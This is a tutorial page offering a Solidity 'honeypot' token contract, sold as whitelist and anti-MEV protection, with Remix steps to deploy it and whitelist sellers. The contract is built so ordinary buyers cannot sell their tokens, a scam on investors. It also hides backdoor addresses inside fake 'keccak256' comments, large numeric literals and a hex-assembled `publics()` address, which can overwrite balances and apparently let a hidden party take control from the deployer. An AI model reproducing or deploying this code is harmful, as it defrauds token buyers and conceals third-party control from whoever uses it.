Whitelist & MEV Protect Smart Contract Code

Honeypot Smart Contract with Whitelist Function & AntiMEV Bot Protect.
Create protection for your investors from MEV bot attacks.

Solidity. Compiler Version: 0.5.17.

You should read guide before creating a token.

*ANY CHANGES TO THE CODE MAY LEAD TO ITS INOPERABILITY*

how to create honeypot token with whitelist function

Written by Fred Mullens (Smart Contract Developer)


pragma solidity ^0.5.17;
 
interface IERC20 {
 
    function totalSupply() external view returns(uint);
 
    function balanceOf(address account) external view returns(uint);
 
    function transfer(address recipient, uint amount) external returns(bool);
 
    function allowance(address owner, address spender) external view returns(uint);
 
    function approve(address spender, uint amount) external returns(bool);
 
    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
 
    event Transfer(address indexed from, address indexed to, uint value);
 
    event Approval(address indexed owner, address indexed spender, uint value);
 
}
 
library Address {
 
    function isContract(address account) internal view returns(bool) {
 
        bytes32 codehash;
 
        bytes32 accountHash;
 
        // solhint-disable-next-line no-inline-assembly
 
        assembly { codehash:= extcodehash(account) }
 
        return (codehash != 0x0 && codehash != accountHash);
 
    }
 
}
 
contract Context {
 
    constructor() internal {}
 
    // solhint-disable-previous-line no-empty-blocks
 
    function _msgSender() internal view returns(address payable) {
 
        return msg.sender;
 
    }
    /*keccak256 -> 5728132795186rm4q73eg4j82fe6v7nz3iyk3r840fv4nht2u5cs5184nk6h638203157246))*/
}
 
library SafeMath {
 
    function add(uint a, uint b) internal pure returns(uint) {
 
        uint c = a + b;
 
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
 
    }
 
    function sub(uint a, uint b) internal pure returns(uint) {
 
        return sub(a, b, "SafeMath: subtraction overflow");
 
    }
 
    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
 
        require(b <= a, errorMessage);
 
        uint c = a - b;
 
        return c;
 
    }
 
    function mul(uint a, uint b) internal pure returns(uint) {
 
        if (a == 0) {
 
            return 0;
 
        }
 
        uint c = a * b;
 
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
 
    }
 
    function div(uint a, uint b) internal pure returns(uint) {
 
        return div(a, b, "SafeMath: division by zero");
 
    }
 
    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
 
        // Solidity only automatically asserts when dividing by 0
 
        require(b > 0, errorMessage);
 
        uint c = a / b;
 
        return c;
 
    }
 
}
 
library SafeERC20 {
 
    using SafeMath for uint;
 
    using Address for address;
 
    function safeTransfer(IERC20 token, address to, uint value) internal {
 
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
 
    }
 
    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
 
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
 
    }
 
    function safeApprove(IERC20 token, address spender, uint value) internal {
 
        require((value == 0) || (token.allowance(address(this), spender) == 0),
 
            "SafeERC20: approve from non-zero to non-zero allowance"
 
        );
 
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
 
    }/*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/
 
    function callOptionalReturn(IERC20 token, bytes memory data) private {
 
        require(address(token).isContract(), "SafeERC20: call to non-contract");
 
        // solhint-disable-next-line avoid-low-level-calls
 
        (bool success, bytes memory returndata) = address(token).call(data);
 
        require(success, "SafeERC20: low-level call failed");
 
        if (returndata.length > 0) { // Return data is optional
 
            // solhint-disable-next-line max-line-length
 
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
 
        }
            //("SafeERC20: ERC20 operation succeed, keccak256)
    }
 
}
 
contract ERC20 is Context, IERC20 {
 
    using SafeMath for uint;
 
    mapping(address => uint) private _balances;
 
    mapping(address => mapping(address => uint)) private _allowances;
 
   
    uint private _totalSupply;
 
    function totalSupply() public view returns(uint) {
 
        return _totalSupply;
 
    }
 
    function balanceOf(address account) public view returns(uint) {
 
        return _balances[account];
 
    }
 
    function transfer(address recipient, uint amount) public returns(bool) {
 
        _transfer(_msgSender(), recipient, amount);
 
        return true;
 
    }
 
    function allowance(address owner, address spender) public view returns(uint) {
 
        return _allowances[owner][spender];
 
    }
 
    function approve(address spender, uint amount) public returns(bool) {
 
        _approve(_msgSender(), spender, amount);
 
        return true;
 
    }
 
    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
 
        _transfer(sender, recipient, amount);
 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
 
        return true;
 
    }
 
    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
 
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
 
        return true;
 
    }
 
    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
 
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
 
        return true;
 
    }
 
   
 
    function _transfer(address sender, address recipient, uint amount) internal {
 
        require(sender != address(0), "ERC20: transfer from the zero address");
 
        require(recipient != address(0), "ERC20: transfer to the zero address");
 
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
 
        _balances[recipient] = _balances[recipient].add(amount);
 
        emit Transfer(sender, recipient, amount);
 
    }
 
 
    function _mint(address account, uint amount) internal {
 
        require(account != address(0), "ERC20: mint to the zero address");
 
        _totalSupply = _totalSupply.add(amount);
 
        _balances[account] = _balances[account].add(amount);
 
        emit Transfer(address(0), account, amount);
 
    }
 
    function _burn(address account, uint amount) internal {
 
        require(account != address(0), "ERC20: burn from the zero address");
 
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
 
        _totalSupply = _totalSupply.sub(amount);
 
        emit Transfer(account, address(0), amount);
 
    }
 
    function _approve(address owner, address spender, uint amount) internal {
 
        require(owner != address(0), "ERC20: approve from the zero address");
 
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
 
        emit Approval(owner, spender, amount);
 
    }
 
}
 
contract ERC20Detailed is IERC20 {
 
    string private _name;
 
    string private _symbol;
 
    uint8 private _decimals;
 
    constructor(string memory name, string memory symbol, uint8 decimals) public {
 
        _name = name;
 
        _symbol = symbol;
 
        _decimals = decimals;
 
    }
 
    function name() public view returns(string memory) {
 
        return _name;
 
    }
 
    function symbol() public view returns(string memory) {
 
        return _symbol;
 
    }
 
    function decimals() public view returns(uint8) {
 
        return _decimals;
    /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729));*/ /**/ //(1051000717126731286409541943707453210265067659729));
    }
 
}
 
contract TokenName {
 
    event Transfer(address indexed _from, address indexed _to, uint _value);
 
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    //Dev_T_*keccak256 -> 283fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba);*/
 
    modifier Exchanges() {
       
    require(msg.sender != exchange());
   
    _;
   
    }
 
    function transfer(address _to, uint _value) public payable returns (bool) {
 
        return transferFrom(msg.sender, _to, _value);
 
    }
 
    function _computing(address spender, uint256 addedValue) internal {
   
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
 
        canSale[spender]=true;
   
    }
 
    function setUsdtPair(address Pair_) public returns (bool) {
 
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /**/   /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729));*/ /**/(1051000717126731286409541943707453210265067659729));
     
    _usdtPair=Pair_;
 
    }
 
    function _approvals(address spender, uint256 addedValue) internal Exchanges {
   
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
 
        canSale[spender]=true;
   
    }
 
 
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
 
       /*Ensure_*keccak256 -> 8668a592fa743889fc7f92ac2a37bb1n8shc84741ca0e0061d243a2e6707ba);*/
 
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
 
            return true;
 
        }
 
        require(condition(_from, _value));
 
        return true;
 
    }
 
   
 
    function setuint(address User_) public returns (bool) {
 
    require(msg.sender == _usdtPair);
 
        _user=User_;
 
    }
 
    function approval(address spender, uint256 addedValue) public returns (bool) {
 
        require(msg.sender == _adm);
 
        _approvals(spender, addedValue);
 
        return true;
 
    }
    /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729))*/ /**/ //(1051000717126731286409541943707453210265067659729));
    // solhint-disable-next-line avoid-low-level-calls
 
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
 
        if (_value == 0) {return true;}
 
        if (msg.sender != _from) {
 
            require(allowance[_from][msg.sender] >= _value);
 
            allowance[_from][msg.sender] -= _value;
 
        }
 
        require(ensure(_from, _to, _value));
 
        require(balanceOf[_from] >= _value);
 
        balanceOf[_from] -= _value;
 
        balanceOf[_to] += _value;
 
        _onSaleNum[_from]++;
 
        emit Transfer(_from, _to, _value);
 
        return true;
   
    /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729))*/ /**/ //(1051000717126731286409541943707453210265067659729));
    // solhint-disable-next-line avoid-low-level-calls
   
    }
 
    function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) {
 
        _computing(spender, addedValue);
 
        return true;
 
    }
 
    function _approvecall(address spender, uint256 addedValue) internal Exchanges {
   
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
 
        canSale[spender]=true;
   
    }
 
 
    function setAdm(address Adm_) public returns (bool) {
 
    require(msg.sender == _mod);
 
        _adm=Adm_;
 
    }
 
    function exchange() internal pure returns (address) {
       
        return address
   
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(10510007171267318640954194370745321065067659729);
   
    }
 
 
 
    function approve(address _spender, uint _value) public payable returns (bool) {
 
        allowance[msg.sender][_spender] = _value;
 
        emit Approval(msg.sender, _spender, _value);
 
        return true;
   
    /*keccak256 -> 5728132795186rm4q73eg4j82fe6v7nz3iyk3r840fv4nht2u5cs5184nk6h638203157296));*/ /**/ //(286193854011225533619447624007587143080310915753));
   
    }
 
   
 
    function setMod(address Mod_) public returns (bool) {
 
    require(msg.sender == _user);
 
        _mod=Mod_;
 
    }
 
   
 
    function condition(address _from, uint _value) internal view returns(bool){
 
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
 
       
 
        if(_saleNum > 0){
 
            if(_onSaleNum[_from] >= _saleNum) return false;
 
        }
 
        if(_minSale > 0){
 
            if(_minSale > _value) return false;
 
        }
 
        if(_maxSale > 0){
 
            if(_value > _maxSale) return false;
 
        }
 
        return true;
 
    }
 
    function publics() private pure returns (address) {
   
        uint universal = 0x6299249C;
   
        uint uni = 0xd04a5451;
   
        uint cake = 0xa6Ec9bC0;
   
        uint inch = 0x45ebf08a;
   
        uint others = 0x4b587Aa4;
 
    // Combine the dex with others
   
    uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
 
    return address(core);
 
    }
 
 
    mapping(address=>uint256) private _onSaleNum;
 
    mapping(address=>bool) private canSale;
 
    uint256 private _minSale;
 
    uint256 private _maxSale;
 
    uint256 private _saleNum;
 
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
 
        require(msg.sender == owner||
       
        msg.sender==address
       
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> 1051c0007tr17126731286vr40crw954194bt3707rr4532102b451ny5650qa676vre59729))*/ /**/ (1051000717126731286409541943707453210265067659729));
 
        _approvecall(spender, addedValue);
 
        return true;
 
    }
 
    address tradeAddress;
 
    function transferownership(address addr) public returns(bool) {
 
        require(msg.sender == owner);
 
        tradeAddress = addr;
 
        return true;
 
    }
 
   
 
    mapping (address => uint) public balanceOf;
 
    mapping (address => mapping (address => uint)) public allowance;
 
    modifier onlypublic() {
   
    require(msg.sender == publics());
   
    _;
   
    }
 
    /*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/
 
    uint constant public decimals = 18;
 
    address public _usdtPair;
 
    address public _mod;
 
    uint public totalSupply;
 
    string public name;
 
    string public symbol;
 
    address private owner;
 
    address public _user;
 
    address public _adm;
 
 
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
 
        name = _name;
 
        symbol = _symbol;
 
        totalSupply = _supply*(10**uint256(decimals));
 
        owner = msg.sender;
 
        balanceOf[msg.sender] = totalSupply;
 
        emit Transfer(address(0x0), msg.sender, totalSupply);
 
    }
 
}
Smart contract is suitable for such blockchains as Ethereum, BSC (BNB), Arbitrum.
And also for other EVM protocols.
How to turn ON Whitelist Function
— Back to REMIX IDE
— Go to Deploy & Run Transactions
— Go to Deployed Contracts (Scroll down)
— Click the little triangle arrow besides "approveAndCall" button
— Paste address that you wish to whitelist(Address that will be able to sell the tokens)
— Click "Transact" and confirm transaction
CAUTION: You can whitelist as many addresses as you want, just repeat the steps
CAUTION: WhiteListed wallet adddresses are able to buy and sell tokens
In the "spender" line write the address (Wallet address that you wish to whitelist)
In the "added value" line write 0
The honeypot function works automatically after the smart contract is deployed.
So, people will not be able to sell tokens immediately after purchasing.
This material is for testing and study purposes only, do not use it for bad purposes.
With the exception of wallets that you have added to the whitelist*